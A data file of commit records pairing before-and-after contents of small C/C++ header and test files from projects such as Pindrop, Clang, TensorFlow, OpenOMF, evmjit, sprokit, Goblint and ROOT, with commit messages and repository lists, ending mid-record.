{"commit":"9136fc058781cf31b7b045765be1202681eb6a0d","old_file":"src\/asynchronous_loader\/file_loader.h","new_file":"src\/asynchronous_loader\/file_loader.h","old_contents":"\/\/ Copyright 2015 Google Inc. All rights reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef PINDROP_ASYNCHRONOUS_LOADER_FILE_LOADER_H_\n#define PINDROP_ASYNCHRONOUS_LOADER_FILE_LOADER_H_\n\n#include \"fplbase\/async_loader.h\"\n\nnamespace pindrop {\n\nclass FileLoader;\n\nclass Resource : public fplbase::AsyncAsset {\n public:\n  virtual ~Resource() {}\n\n  void LoadFile(const char* filename, FileLoader* loader);\n\n private:\n  virtual void Finalize() {};\n};\n\nclass FileLoader {\n public:\n  void StartLoading();\n\n  bool TryFinalize();\n\n  void QueueJob(Resource* resource);\n\n private:\n  fplbase::AsyncLoader loader;\n};\n\n}  \/\/ namespace pindrop\n\n#endif  \/\/ PINDROP_ASYNCHRONOUS_LOADER_FILE_LOADER_H_\n","new_contents":"\/\/ Copyright 2015 Google Inc. All rights reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef PINDROP_ASYNCHRONOUS_LOADER_FILE_LOADER_H_\n#define PINDROP_ASYNCHRONOUS_LOADER_FILE_LOADER_H_\n\n#include \"fplbase\/async_loader.h\"\n\nnamespace pindrop {\n\nclass FileLoader;\n\nclass Resource : public fplbase::AsyncAsset {\n public:\n  virtual ~Resource() {}\n\n  void LoadFile(const char* filename, FileLoader* loader);\n\n private:\n  virtual bool Finalize() { return true; };\n  virtual bool IsValid() { return true; };\n};\n\nclass FileLoader {\n public:\n  void StartLoading();\n\n  bool TryFinalize();\n\n  void QueueJob(Resource* resource);\n\n private:\n  fplbase::AsyncLoader loader;\n};\n\n}  \/\/ namespace pindrop\n\n#endif  \/\/ PINDROP_ASYNCHRONOUS_LOADER_FILE_LOADER_H_\n","subject":"Update Resource with latest changes to FPLBase.","message":"Update Resource with latest changes to FPLBase.\n\nAsyncAsset had some changes to virtual functions, so Resource,\nwhich inherits from it, needs to be updated.\n\nTested on Linux.\n\nChange-Id: Ic12854c7d24a04f0049673fa1df6e96a6d68aa15\n","lang":"C","license":"apache-2.0","repos":"google\/pindrop,google\/pindrop,google\/pindrop"}
{"commit":"2cb8f29ecd8d8864a2110ef72fed242c107ef1a5","old_file":"test\/CodeGen\/stack-size-section.c","new_file":"test\/CodeGen\/stack-size-section.c","old_contents":"\/\/ RUN: %clang_cc1 -triple x86_64-unknown %s -S -o - | FileCheck %s --check-prefix=CHECK-ABSENT\n\/\/ CHECK-ABSENT-NOT: section .stack_sizes\n\n\/\/ RUN: %clang_cc1 -triple x86_64-unknown -fstack-size-section %s -S -o - | FileCheck %s --check-prefix=CHECK-PRESENT\n\/\/ CHECK-PRESENT: section .stack_sizes\n\nint foo() { return 42; }\n","new_contents":"\/\/ RUN: %clang_cc1 -triple x86_64-unknown-unknown %s -S -o - | FileCheck %s --check-prefix=CHECK-ABSENT\n\/\/ CHECK-ABSENT-NOT: section .stack_sizes\n\n\/\/ RUN: %clang_cc1 -triple x86_64-unknown-unknown -fstack-size-section %s -S -o - | FileCheck %s --check-prefix=CHECK-PRESENT\n\/\/ CHECK-PRESENT: section .stack_sizes\n\nint foo() { return 42; }\n","subject":"Fix test added in r321992 failing on some buildbots.","message":"Fix test added in r321992 failing on some buildbots.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@321995 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"f3b0fb14d7f8e28aeb4d96e587689fe7a8394c69","old_file":"tensorflow\/core\/platform\/stringpiece.h","new_file":"tensorflow\/core\/platform\/stringpiece.h","old_contents":"\/* Copyright 2015 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n\/\/ StringPiece is a simple structure containing a pointer into some external\n\/\/ storage and a size.  The user of a StringPiece must ensure that the slice\n\/\/ is not used after the corresponding external storage has been\n\/\/ deallocated.\n\/\/\n\/\/ Multiple threads can invoke const methods on a StringPiece without\n\/\/ external synchronization, but if any of the threads may call a\n\/\/ non-const method, all threads accessing the same StringPiece must use\n\/\/ external synchronization.\n\n#ifndef TENSORFLOW_CORE_PLATFORM_STRINGPIECE_H_\n#define TENSORFLOW_CORE_PLATFORM_STRINGPIECE_H_\n\n#include \"absl\/strings\/string_view.h\"\n\nnamespace tensorflow {\n\nusing StringPiece = absl::string_view;\n\n}  \/\/ namespace tensorflow\n\n#endif  \/\/ TENSORFLOW_CORE_PLATFORM_STRINGPIECE_H_\n","new_contents":"\/* Copyright 2015 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n\/\/ StringPiece is a simple structure containing a pointer into some external\n\/\/ storage and a size.  The user of a StringPiece must ensure that the slice\n\/\/ is not used after the corresponding external storage has been\n\/\/ deallocated.\n\/\/\n\/\/ Multiple threads can invoke const methods on a StringPiece without\n\/\/ external synchronization, but if any of the threads may call a\n\/\/ non-const method, all threads accessing the same StringPiece must use\n\/\/ external synchronization.\n\n#ifndef TENSORFLOW_CORE_PLATFORM_STRINGPIECE_H_\n#define TENSORFLOW_CORE_PLATFORM_STRINGPIECE_H_\n\n#include \"absl\/strings\/string_view.h\"  \/\/ IWYU pragma: export\n\nnamespace tensorflow {\n\nusing StringPiece = absl::string_view;\n\n}  \/\/ namespace tensorflow\n\n#endif  \/\/ TENSORFLOW_CORE_PLATFORM_STRINGPIECE_H_\n","subject":"Add IWYU tags to headers TF is re-exporting.","message":"Add IWYU tags to headers TF is re-exporting.\n\nPiperOrigin-RevId: 291557362\nChange-Id: If78efc5e990f203d5a36777e9531207c573c651a\n","lang":"C","license":"apache-2.0","repos":"tensorflow\/tensorflow-pywrap_tf_optimizer,yongtang\/tensorflow,aam-at\/tensorflow,paolodedios\/tensorflow,aldian\/tensorflow,gunan\/tensorflow,sarvex\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,karllessard\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,cxxgtxy\/tensorflow,gunan\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,sarvex\/tensorflow,frreiss\/tensorflow-fred,tensorflow\/tensorflow-pywrap_tf_optimizer,annarev\/tensorflow,cxxgtxy\/tensorflow,jhseu\/tensorflow,xzturn\/tensorflow,renyi533\/tensorflow,xzturn\/tensorflow,aldian\/tensorflow,frreiss\/tensorflow-fred,tensorflow\/tensorflow-experimental_link_static_libraries_once,petewarden\/tensorflow,aam-at\/tensorflow,cxxgtxy\/tensorflow,yongtang\/tensorflow,gunan\/tensorflow,Intel-Corporation\/tensorflow,petewarden\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-pywrap_tf_optimizer,jhseu\/tensorflow,paolodedios\/tensorflow,gautam1858\/tensorflow,yongtang\/tensorflow,jhseu\/tensorflow,paolodedios\/tensorflow,jhseu\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,aldian\/tensorflow,freedomtan\/tensorflow,freedomtan\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,frreiss\/tensorflow-fred,tensorflow\/tensorflow,gautam1858\/tensorflow,karllessard\/tensorflow,sarvex\/tensorflow,karllessard\/tensorflow,freedomtan\/tensorflow,aam-at\/tensorflow,aam-at\/tensorflow,gautam1858\/tensorflow,Intel-tensorflow\/tensorflow,aam-at\/tensorflow,gautam1858\/tensorflow,xzturn\/tensorflow,jhseu\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,xzturn\/tensorflow,yongtang\/tensorflow,tensorflow\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-experimental_link_static_libraries_once,sarvex\/tensorflow,sarvex\/tensorflow,petewarden\/tensorflow,gautam1858\/tensorflow,frreiss\/tensorflow-fred,gautam1858\/tensorflow,Intel-tensorflow\/tensorflow,petewarden\/tensorflow,renyi533\/tensorflow,davidzchen\/tensorflow,davidzchen\/tensorflow,jhseu\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,xzturn\/tensorflow,tensorflow\/tensorflow,freedomtan\/tensorflow,gautam1858\/tensorflow,Intel-Corporation\/tensorflow,gautam1858\/tensorflow,renyi533\/tensorflow,yongtang\/tensorflow,gunan\/tensorflow,Intel-tensorflow\/tensorflow,freedomtan\/tensorflow,petewarden\/tensorflow,paolodedios\/tensorflow,aam-at\/tensorflow,davidzchen\/tensorflow,sarvex\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,petewarden\/tensorflow,Intel-tensorflow\/tensorflow,karllessard\/tensorflow,cxxgtxy\/tensorflow,aam-at\/tensorflow,annarev\/tensorflow,freedomtan\/tensorflow,davidzchen\/tensorflow,annarev\/tensorflow,Intel-tensorflow\/tensorflow,gunan\/tensorflow,xzturn\/tensorflow,freedomtan\/tensorflow,davidzchen\/tensorflow,cxxgtxy\/tensorflow,freedomtan\/tensorflow,renyi533\/tensorflow,annarev\/tensorflow,petewarden\/tensorflow,renyi533\/tensorflow,paolodedios\/tensorflow,karllessard\/tensorflow,Intel-tensorflow\/tensorflow,Intel-tensorflow\/tensorflow,renyi533\/tensorflow,renyi533\/tensorflow,davidzchen\/tensorflow,tensorflow\/tensorflow,davidzchen\/tensorflow,aldian\/tensorflow,freedomtan\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,jhseu\/tensorflow,freedomtan\/tensorflow,tensorflow\/tensorflow,gunan\/tensorflow,gunan\/tensorflow,frreiss\/tensorflow-fred,gunan\/tensorflow,frreiss\/tensorflow-fred,gautam1858\/tensorflow,davidzchen\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,davidzchen\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,paolodedios\/tensorflow,gautam1858\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,yongtang\/tensorflow,frreiss\/tensorflow-fred,aldian\/tensorflow,tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,gunan\/tensorflow,annarev\/tensorflow,gautam1858\/tensorflow,tensorflow\/tensorflow,karllessard\/tensorflow,aam-at\/tensorflow,freedomtan\/tensorflow,aam-at\/tensorflow,renyi533\/tensorflow,gunan\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,annarev\/tensorflow,davidzchen\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,annarev\/tensorflow,gunan\/tensorflow,renyi533\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,Intel-tensorflow\/tensorflow,frreiss\/tensorflow-fred,jhseu\/tensorflow,yongtang\/tensorflow,jhseu\/tensorflow,paolodedios\/tensorflow,sarvex\/tensorflow,xzturn\/tensorflow,aam-at\/tensorflow,Intel-Corporation\/tensorflow,xzturn\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,Intel-Corporation\/tensorflow,yongtang\/tensorflow,jhseu\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,Intel-Corporation\/tensorflow,jhseu\/tensorflow,frreiss\/tensorflow-fred,paolodedios\/tensorflow,renyi533\/tensorflow,xzturn\/tensorflow,frreiss\/tensorflow-fred,gunan\/tensorflow,frreiss\/tensorflow-fred,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,petewarden\/tensorflow,yongtang\/tensorflow,petewarden\/tensorflow,aldian\/tensorflow,cxxgtxy\/tensorflow,tensorflow\/tensorflow,aam-at\/tensorflow,petewarden\/tensorflow,tensorflow\/tensorflow,aldian\/tensorflow,aldian\/tensorflow,yongtang\/tensorflow,karllessard\/tensorflow,xzturn\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,renyi533\/tensorflow,annarev\/tensorflow,yongtang\/tensorflow,sarvex\/tensorflow,cxxgtxy\/tensorflow,paolodedios\/tensorflow,davidzchen\/tensorflow,gautam1858\/tensorflow,renyi533\/tensorflow,Intel-Corporation\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-pywrap_saved_model,davidzchen\/tensorflow,paolodedios\/tensorflow,xzturn\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,annarev\/tensorflow,Intel-Corporation\/tensorflow,annarev\/tensorflow,paolodedios\/tensorflow,xzturn\/tensorflow,petewarden\/tensorflow,freedomtan\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,aam-at\/tensorflow,petewarden\/tensorflow,karllessard\/tensorflow,Intel-Corporation\/tensorflow,tensorflow\/tensorflow,cxxgtxy\/tensorflow,annarev\/tensorflow,frreiss\/tensorflow-fred,jhseu\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow"}
{"commit":"4263808b7481a04033d56c05a24b2a26635e45c8","old_file":"include\/utils\/allocator.h","new_file":"include\/utils\/allocator.h","old_contents":"#ifndef _ALLOCATOR_H\n#define _ALLOCATOR_H\n\n#include <stddef.h>\n\ntypedef struct allocator_t {\n    void  (*cfree)(void *ptr);\n} allocator;\n\n#define omf_calloc(nmemb, size) \\\n    omf_calloc_real((nmemb), (size), __FILE__, __LINE__)\nvoid *omf_calloc_real(size_t nmemb, size_t size, const char *file, int line);\n\n#define omf_realloc(ptr, size) \\\n    omf_realloc_real((ptr), (size), __FILE__, __LINE__)\nvoid *omf_realloc_real(void *ptr, size_t size, const char *file, int line);\n\n#endif \/\/ _ALLOCATOR_H\n","new_contents":"#ifndef _ALLOCATOR_H\n#define _ALLOCATOR_H\n\n#include <stddef.h>\n\ntypedef struct allocator_t {\n    void  (*cfree)(void *ptr);\n} allocator;\n\n#define omf_calloc(nmemb, size) \\\n    omf_calloc_real((nmemb), (size), __FILE__, __LINE__)\nvoid *omf_calloc_real(size_t nmemb, size_t size, const char *file, int line);\n\n#define omf_realloc(ptr, size) \\\n    omf_realloc_real((ptr), (size), __FILE__, __LINE__)\nvoid *omf_realloc_real(void *ptr, size_t size, const char *file, int line);\n\n#define omf_free(ptr) { \\\n    free(ptr);          \\\n    (ptr) = NULL;       \\\n}\n\n#endif \/\/ _ALLOCATOR_H\n","subject":"Add omf_free() to NULL the argument after free()","message":"utils: Add omf_free() to NULL the argument after free()\n","lang":"C","license":"mit","repos":"omf2097\/openomf,omf2097\/openomf,omf2097\/openomf"}
{"commit":"8bbaaabf9f3db24f387ba1f7bf7374c6ea73f8d3","old_file":"libevmjit\/Utils.h","new_file":"libevmjit\/Utils.h","old_contents":"#pragma once\n\n#include <iostream>\n\n\/\/ The same as assert, but expression is always evaluated and result returned\n#define CHECK(expr) (assert(expr), expr)\n\n#if !defined(NDEBUG) \/\/ Debug\n\nnamespace dev\n{\nnamespace evmjit\n{\n\nstd::ostream& getLogStream(char const* _channel);\n\n}\n}\n\n#define DLOG(CHANNEL) ::dev::evmjit::getLogStream(#CHANNEL)\n\n#else \/\/ Release\n\t#define DLOG(CHANNEL) true ? std::cerr : std::cerr\n#endif\n","new_contents":"#pragma once\n\n#include <iostream>\n\n\/\/ The same as assert, but expression is always evaluated and result returned\n#define CHECK(expr) (assert(expr), expr)\n\n#if !defined(NDEBUG) \/\/ Debug\n\nnamespace dev\n{\nnamespace evmjit\n{\n\nstd::ostream& getLogStream(char const* _channel);\n\n}\n}\n\n#define DLOG(CHANNEL) ::dev::evmjit::getLogStream(#CHANNEL)\n\n#else \/\/ Release\n\nnamespace dev\n{\nnamespace evmjit\n{\n\nstruct Voider\n{\n\tvoid operator=(std::ostream const&) {}\n};\n\n}\n}\n\n\n#define DLOG(CHANNEL) true ? (void)0 : ::dev::evmjit::Voider{} = std::cerr\n\n#endif\n","subject":"Reimplement no-op version of DLOG to avoid C++ compiler warning","message":"Reimplement no-op version of DLOG to avoid C++ compiler warning\n","lang":"C","license":"mit","repos":"ethcore\/evmjit,debris\/evmjit,debris\/evmjit,ethcore\/evmjit"}
{"commit":"e00a1a4ce49ad353e25b1ff9eeee2dafd854ddfc","old_file":"src\/python\/helpers\/python_wrap_const_shared_ptr.h","new_file":"src\/python\/helpers\/python_wrap_const_shared_ptr.h","old_contents":"\/*ckwg +5\n * Copyright 2011 by Kitware, Inc. All Rights Reserved. Please refer to\n * KITWARE_LICENSE.TXT for licensing information, or contact General Counsel,\n * Kitware, Inc., 28 Corporate Drive, Clifton Park, NY 12065.\n *\/\n\n#ifndef VISTK_PYTHON_HELPERS_PYTHON_WRAP_CONST_SHARED_PTR_H\n#define VISTK_PYTHON_HELPERS_PYTHON_WRAP_CONST_SHARED_PTR_H\n\n#include <boost\/python\/pointee.hpp>\n#include <boost\/shared_ptr.hpp>\n\n\/\/ Retrieved from http:\/\/mail.python.org\/pipermail\/cplusplus-sig\/2006-November\/011329.html\nnamespace boost\n{\n\nnamespace python\n{\n\ntemplate <typename T>\ninline\nT*\nget_pointer(boost::shared_ptr<T const> const& p)\n{\n  return const_cast<T*>(p.get());\n}\n\ntemplate <typename T>\nstruct pointee<boost::shared_ptr<T const> >\n{\n  typedef T type;\n};\n\n}\n\n}\n\n#endif \/\/ VISTK_PYTHON_HELPERS_PYTHON_WRAP_CONST_SHARED_PTR_H\n","new_contents":"\/*ckwg +5\n * Copyright 2011 by Kitware, Inc. All Rights Reserved. Please refer to\n * KITWARE_LICENSE.TXT for licensing information, or contact General Counsel,\n * Kitware, Inc., 28 Corporate Drive, Clifton Park, NY 12065.\n *\/\n\n#ifndef VISTK_PYTHON_HELPERS_PYTHON_WRAP_CONST_SHARED_PTR_H\n#define VISTK_PYTHON_HELPERS_PYTHON_WRAP_CONST_SHARED_PTR_H\n\n#include <boost\/python\/pointee.hpp>\n#include <boost\/get_pointer.hpp>\n#include <boost\/shared_ptr.hpp>\n\n\/\/ Retrieved from http:\/\/mail.python.org\/pipermail\/cplusplus-sig\/2006-November\/011329.html\nnamespace boost\n{\n\nnamespace python\n{\n\ntemplate <typename T>\ninline\nT*\nget_pointer(boost::shared_ptr<T const> const& p)\n{\n  return const_cast<T*>(p.get());\n}\n\ntemplate <typename T>\nstruct pointee<boost::shared_ptr<T const> >\n{\n  typedef T type;\n};\n\n\/\/ Don't hide other get_pointer instances.\nusing boost::python::get_pointer;\nusing boost::get_pointer;\n\n}\n\n}\n\n#endif \/\/ VISTK_PYTHON_HELPERS_PYTHON_WRAP_CONST_SHARED_PTR_H\n","subject":"Bring other get_pointer instances into the scope","message":"Bring other get_pointer instances into the scope\n","lang":"C","license":"bsd-3-clause","repos":"Kitware\/sprokit,linus-sherrill\/sprokit,mathstuf\/sprokit,linus-sherrill\/sprokit,Kitware\/sprokit,linus-sherrill\/sprokit,Kitware\/sprokit,linus-sherrill\/sprokit,Kitware\/sprokit,mathstuf\/sprokit,mathstuf\/sprokit,mathstuf\/sprokit"}
{"commit":"440744911043f1b09cd3f13172cf023c7e150dac","old_file":"src\/classes\/Window.h","new_file":"src\/classes\/Window.h","old_contents":"#ifndef WINDOW_H\n#define WINDOW_H\n\n#include <ncurses.h>\n#include <array>\n\n#include \"..\/game.h\"\n\n\/\/ Used to define a datatype for calls to wborder\nstruct Border {\n    chtype ls, rs, ts, bs;\n    chtype tl, tr, bl, br;\n};\n\nclass Window {\n    public:\n        Window(rect dim); \/\/ ctor\n       ~Window();         \/\/ dtor\n\n        void bindWin(WINDOW *newW);\n\n        int getChar();\n\n        void refresh();\n        void update();\n        void clear();\n        void close();\n\n        void cursorPos(vec2ui pos);\n\n        void draw(vec2ui pos, char ch, chtype colo);\n        void draw(vec2ui pos, char ch, chtype colo, int attr);\n        void drawBorder();\n        void drawBox();\n        void write(std::string str);\n        void write(vec2ui pos, std::string str);\n        void coloSplash(chtype colo);\n\n        rect getDim() { return dim; }\n\n        void setBorder(Border b);\n\n    protected:\n        WINDOW *w;\n        rect dim;\n        Border border { 0,0,0,0,0,0,0,0 };  \/\/ Init to default\n\n};\n\n#endif\n\n","new_contents":"#ifndef WINDOW_H\n#define WINDOW_H\n\n#include <ncurses.h>\n#include <string>\n#include <array>\n\n#include \"..\/game.h\"\n\n\/\/ Used to define a datatype for calls to wborder\nstruct Border {\n    chtype ls, rs, ts, bs;\n    chtype tl, tr, bl, br;\n};\n\nclass Window {\n    public:\n        Window(rect dim); \/\/ ctor\n       ~Window();         \/\/ dtor\n\n        void bindWin(WINDOW *newW);\n\n        int getChar();\n\n        void refresh();\n        void update();\n        void clear();\n        void close();\n\n        void cursorPos(vec2ui pos);\n\n        void draw(vec2ui pos, char ch, chtype colo);\n        void draw(vec2ui pos, char ch, chtype colo, int attr);\n        void drawBorder();\n        void drawBox();\n        void write(std::string str);\n        void write(vec2ui pos, std::string str);\n        void coloSplash(chtype colo);\n\n        rect getDim() { return dim; }\n\n        void setBorder(Border b);\n\n    protected:\n        WINDOW *w;\n        rect dim;\n        Border border { 0,0,0,0,0,0,0,0 };  \/\/ Init to default\n\n};\n\n#endif\n\n","subject":"Fix missing string in namespace std compiler error","message":"Fix missing string in namespace std compiler error\n\nOn some systems\n","lang":"C","license":"mit","repos":"jm-janzen\/termq,jm-janzen\/termq,jm-janzen\/termq"}
{"commit":"98313137592c16298147327daefe9a4fe8d9ce8d","old_file":"tests\/regression\/01-cpa\/47-posneg-signed-overflow.c","new_file":"tests\/regression\/01-cpa\/47-posneg-signed-overflow.c","old_contents":"","new_contents":"#include<stdio.h>\n#include<assert.h>\n\nint main() {\n  int i,k,j;\n\n  if (k == 5) {\n    assert(k == 5);\n    return 0;\n  }\n  assert(k != 5);\n\n  \/\/ Signed overflows might occur in some of the following operations (e.g. the first assignment k could be MAX_INT).\n  \/\/ Signed overflows are undefined behavior, so by default we go to top when they might occur.\n\n  \/\/ simple arithmetic\n  i = k + 1;\n  assert(i != 6); \/\/ UNKNOWN!\n  i = k - 1;\n  assert(i != 4); \/\/ UNKNOWN!\n  i = k * 3;\n  assert(i != 15); \/\/ UNKNOWN!\n  i = k * 2;\n  assert(i != 10); \/\/ UNKNOWN! k could be -2147483643;\n  i = k \/ 2;\n  assert(i != 2); \/\/ UNKNOWN! k could be 4\n\n  return 0;\n}\n","subject":"Add test that by default signed overflow results in top","message":"Add test that by default  signed overflow results in top\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"bbd0db9d8b3329cacffc55cdca9a5e63911ed510","old_file":"pyroot\/inc\/LinkDef.h","new_file":"pyroot\/inc\/LinkDef.h","old_contents":"#ifdef __CINT__\n\n#pragma link off all globals;\n#pragma link off all classes;\n#pragma link off all functions;\n\n#pragma link C++ function TPython::Exec;\n#pragma link C++ function TPython::Eval;\n#pragma link C++ function TPython::Bind;\n#pragma link C++ function TPython::Prompt;\n\n#endif\n","new_contents":"#ifdef __CINT__\n\n#pragma link off all globals;\n#pragma link off all classes;\n#pragma link off all functions;\n\n#pragma link C++ class TPython;\n\n#endif\n","subject":"Declare the class TPython instead of the static functions. With this change, make map will add TPython in system.rootmap and it is possible to do directly root > TPython::Prompt()","message":"Declare the class TPython instead of the static functions.\nWith this change, make map will add TPython in system.rootmap\nand it is possible to do directly\nroot > TPython::Prompt()\n\n\ngit-svn-id: acec3fd5b7ea1eb9e79d6329d318e8118ee2e14f@9107 27541ba8-7e3a-0410-8455-c3a389f83636\n","lang":"C","license":"lgpl-2.1","repos":"Dr15Jones\/root,vukasinmilosevic\/root,gganis\/root,simonpf\/root,mkret2\/root,pspe\/root,alexschlueter\/cern-root,veprbl\/root,Y--\/root,vukasinmilosevic\/root,gbitzes\/root,beniz\/root,zzxuanyuan\/root-compressor-dummy,davidlt\/root,simonpf\/root,sirinath\/root,nilqed\/root,root-mirror\/root,sbinet\/cxx-root,jrtomps\/root,arch1tect0r\/root,abhinavmoudgil95\/root,esakellari\/my_root_for_test,cxx-hep\/root-cern,simonpf\/root,beniz\/root,smarinac\/root,perovic\/root,davidlt\/root,zzxuanyuan\/root-compressor-dummy,bbockelm\/root,Y--\/root,karies\/root,mhuwiler\/rootauto,buuck\/root,strykejern\/TTreeReader,sbinet\/cxx-root,sirinath\/root,BerserkerTroll\/root,mkret2\/root,Y--\/root,Dr15Jones\/root,mattkretz\/root,lgiommi\/root,gbitzes\/root,0x0all\/ROOT,lgiommi\/root,abhinavmoudgil95\/root,krafczyk\/root,tc3t\/qoot,beniz\/root,pspe\/root,omazapa\/root,lgiommi\/root,sawenzel\/root,strykejern\/TTreeReader,karies\/root,evgeny-boger\/root,pspe\/root,mkret2\/root,nilqed\/root,thomaskeck\/root,jrtomps\/root,sbinet\/cxx-root,ffurano\/root5,georgtroska\/root,dfunke\/root,tc3t\/qoot,BerserkerTroll\/root,nilqed\/root,georgtroska\/root,davidlt\/root,kirbyherm\/root-r-tools,gganis\/root,zzxuanyuan\/root,tc3t\/qoot,gbitzes\/root,nilqed\/root,perovic\/root,root-mirror\/root,mkret2\/root,beniz\/root,agarciamontoro\/root,evgeny-boger\/root,mkret2\/root,krafczyk\/root,Duraznos\/root,abhinavmoudgil95\/root,esakellari\/my_root_for_test,satyarth934\/root,krafczyk\/root,cxx-hep\/root-cern,georgtroska\/root,0x0all\/ROOT,sirinath\/root,davidlt\/root,root-mirror\/root,dfunke\/root,nilqed\/root,alexschlueter\/cern-root,Duraznos\/root,dfunke\/root,evgeny-boger\/root,lgiommi\/root,zzxuanyuan\/root,cxx-hep\/root-cern,lgiommi\/root,evgeny-boger\/root,cxx-hep\/root-cern,jrtomps\/root,abhinavmoudgil95\/root,krafczyk\/root,ffurano\/root5,arch1tect0r\/root,beniz\/root,zzxuanyuan\/root,nilqed\/root,smarinac\/root,arch1tect0r\/root,nilqed\/root,abhinavmoudgil95\/root,jrtomps\/root,Y--\/root,georgtroska\/root,ffurano\/root5,mkret2\/root,mattkretz\/root,olifre\/root,bbockelm\/root,krafczyk\/root,pspe\/root,agarciamontoro\/root,CristinaCristescu\/root,gbitzes\/root,sbinet\/cxx-root,jrtomps\/root,zzxuanyuan\/root-compressor-dummy,satyarth934\/root,sawenzel\/root,sbinet\/cxx-root,mkret2\/root,0x0all\/ROOT,vukasinmilosevic\/root,cxx-hep\/root-cern,Duraznos\/root,zzxuanyuan\/root-compressor-dummy,simonpf\/root,karies\/root,perovic\/root,agarciamontoro\/root,evgeny-boger\/root,Duraznos\/root,simonpf\/root,ffurano\/root5,tc3t\/qoot,jrtomps\/root,mattkretz\/root,sbinet\/cxx-root,georgtroska\/root,0x0all\/ROOT,nilqed\/root,sawenzel\/root,vukasinmilosevic\/root,buuck\/root,mattkretz\/root,abhinavmoudgil95\/root,karies\/root,zzxuanyuan\/root-compressor-dummy,Duraznos\/root,vukasinmilosevic\/root,gbitzes\/root,olifre\/root,CristinaCristescu\/root,BerserkerTroll\/root,alexschlueter\/cern-root,veprbl\/root,mhuwiler\/rootauto,olifre\/root,kirbyherm\/root-r-tools,omazapa\/root-old,vukasinmilosevic\/root,sawenzel\/root,esakellari\/my_root_for_test,gbitzes\/root,gbitzes\/root,abhinavmoudgil95\/root,bbockelm\/root,ffurano\/root5,mkret2\/root,mattkretz\/root,nilqed\/root,Duraznos\/root,vukasinmilosevic\/root,esakellari\/root,lgiommi\/root,davidlt\/root,sirinath\/root,evgeny-boger\/root,jrtomps\/root,0x0all\/ROOT,zzxuanyuan\/root,beniz\/root,Y--\/root,strykejern\/TTreeReader,evgen